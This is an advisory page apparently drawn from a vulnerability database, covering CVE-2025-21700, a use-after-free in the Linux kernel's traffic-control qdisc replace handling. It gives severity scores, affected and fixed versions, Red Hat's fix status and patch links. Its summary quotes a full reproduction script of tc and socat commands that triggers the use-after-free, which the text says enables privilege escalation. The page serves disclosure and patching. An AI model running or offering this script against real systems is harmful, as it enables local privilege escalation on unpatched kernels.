net: sched: Disallow replacing of child qdisc from one parent to another
Key facts
- Attack vector
- Local
- Privileges required
- Low
- User interaction
- None
- Attack complexity
- Low
- Impact type
- Code execution
- Confidentiality · integrity · availability
- High · High · High
- Fix status
- Partial Red Hat: 5 without a fix
Attack profile from CVSS 3.1 · CNA. Fix status from CNA and Red Hat. Impact type from CWE-416 and the CVSS impact.
Summary
In the Linux kernel, the following vulnerability has been resolved: net: sched: Disallow replacing of child qdisc from one parent to another Lion Ackermann was able to create a UAF which can be abused for privilege escalation with the following script Step 1. create root qdisc tc qdisc add dev lo root handle 1:0 drr step2. a class for packet aggregation do demonstrate uaf tc class add dev lo classid 1:1 drr step3. a class for nesting tc class add dev lo classid 1:2 drr step4. a class to graft qdisc to tc class add dev lo classid 1:3 drr step5. tc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024 step6. tc qdisc add dev lo parent 1:2 handle 3:0 drr step7. tc class add dev lo classid 3:1 drr step 8. tc qdisc add dev lo parent 3:1 handle 4:0 pfifo step 9. Display the class/qdisc layout tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 limit 1000p qdisc drr 3: dev lo parent 1:2 step10. trigger the bug <=== prevented by this patch tc qdisc replace dev lo parent 1:3 handle 4:0 step 11. Redisplay again the qdiscs/classes tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 1:3 root leaf 4: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p qdisc drr 3: dev lo parent 1:2 Observe that a) parent for 4:0 does not change despite the replace request. There can only be one parent. b) refcount has gone up by two for 4:0 and c) both class 1:3 and 3:1 are pointing to it. Step 12. send one packet to plug echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001)) step13. send one packet to the grafted fifo echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003)) step14. lets trigger the uaf tc class delete dev lo classid 1:3 tc class delete dev lo classid 1:1 The semantics of "replace" is for a del/add _on the same node_ and not a delete from one node(3:1) and add to another node (1:3) as in step10. While we could "fix" with a more complex approach there could be consequences to expectations so the patch takes the preventive approach of "disallow such config". Joint work with Lion Ackermann <[email protected]>
Why it matters now
SSVC decision points
CISA ADP · SSVC 2.0.3
- Exploitation
- None
- Automatable
- No
- Technical impact
- Total
The decision (Track, Attend, Act) also depends on your mission and well-being impact; see CISA's SSVC guide.
Affected products
| Vendor | Product | Affected versions | Fixed in | Status | Source |
|---|---|---|---|---|---|
| Linux | Linux | 2.6.12 and later | 5.4.291, 5.10.235, 5.15.179, 6.1.129, 6.6.76, 6.12.13, 6.13.2, 6.14 | Patch available | CNA |
- Linux VendorLinux Affected 2.6.12 and later Fixed in 5.4.291, 5.10.235, 5.15.179, 6.1.129, 6.6.76, 6.12.13, 6.13.2, 6.14 Patch available CNA
CPE configurations NVD · 1
| CPE | Versions | Role | Vendor |
|---|---|---|---|
| cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* | 2.6.12 to before 5.4.291; 5.5 to before 5.10.235; 5.11 to before 5.15.179; 5.16 to before 6.1.129; 6.2 to before 6.6.76; 6.7 to before 6.12.13; 6.13 to before 6.13.2 | Vulnerable | Linux |
- cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* Versions 2.6.12 to before 5.4.291; 5.5 to before 5.10.235; 5.11 to before 5.15.179; 5.16 to before 6.1.129; 6.2 to before 6.6.76; 6.7 to before 6.12.13; 6.13 to before 6.13.2 Vulnerable ·Linux
Remediation
- Fix · CNA Linux (Linux) Fixed in 5.4.291, 5.10.235, 5.15.179, 6.1.129, 6.6.76, 6.12.13, 6.13.2, 6.14
Vendor assessments
Red Hat
Red Hat rating: Moderate. Red Hat's page for this CVE →
| Product | Status | Plan or fix |
|---|---|---|
| Red Hat Enterprise Linux 10 | Affected | No fix planned: Will not fix |
| Red Hat Enterprise Linux 6 | Affected | No fix planned: Out of support scope |
| Red Hat Enterprise Linux 7 | Affected | No fix yet: Fix deferred |
| Red Hat Enterprise Linux 8 | Affected | No fix planned: Out of support scope |
| Red Hat Enterprise Linux 9 | Affected | No fix planned: Will not fix |
Timeline
- 2026-10-02 Threatist record created from CVE-2025-21700
- 2026-10-03 Alias added: GHSA-r79j-x479-2vhw
References
Patch 8
- https://git.kernel.org/stable/c/cd796e269123e1994bfc4e99dd76680ba0946a97
- https://git.kernel.org/stable/c/fe18c21d67dc7d1bcce1bba56515b1b0306db19b
- https://git.kernel.org/stable/c/38646749d6e12f9d80a08d21ca39f0beca20230d
- https://git.kernel.org/stable/c/deda09c0543a66fa51554abc5ffd723d99b191bf
- https://git.kernel.org/stable/c/7e2bd8c13b07e29a247c023c7444df23f9a79fd8
- https://git.kernel.org/stable/c/73c7e1d6898ccbeee126194dcc05f58b8a795e70
- https://git.kernel.org/stable/c/46c59ec33ec98aba20c15117630cae43a01404cc
- https://git.kernel.org/stable/c/bc50835e83f60f56e9bec2b392fb5544f250fb6f
More Linux Kernel vulnerabilities
- TI-2025-26358 tls: fix handling of zero-length records on the rx_list KEVCVSS 3.1CRITICAL 9.8
- TI-2026-38352 netfilter: bridge: make ebt_snat ARP rewrite writable KEVCVSS 3.1HIGH 8.8
- TI-2013-05264 The (1) get_user and (2) put_user API functions in the Linux kernel before 3.5.5 on the… KEVCVSS 3.1HIGH 8.8
- TI-2022-00125 Integer overflow in kernel KEVCVSS 3.1HIGH 8.4
- TI-2013-01864 The perf_swevent_init function in kernel/events/core.c in the Linux kernel before 3.8.9… KEVCVSS 3.1HIGH 8.4
- TI-2021-05514 Heap Out-Of-Bounds Write in Netfilter IP6T_SO_SET_REPLACE KEVCVSS 3.1HIGH 8.3
Sources
- CVE-2025-21700 · CVE Program
- CVE-2025-21700 · NVD
- FIRST EPSS
- GHSA-r79j-x479-2vhw · GitHub Advisory Database · CC BY 4.0
- CVE-2025-21700 · Red Hat security data · CC BY 4.0
This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences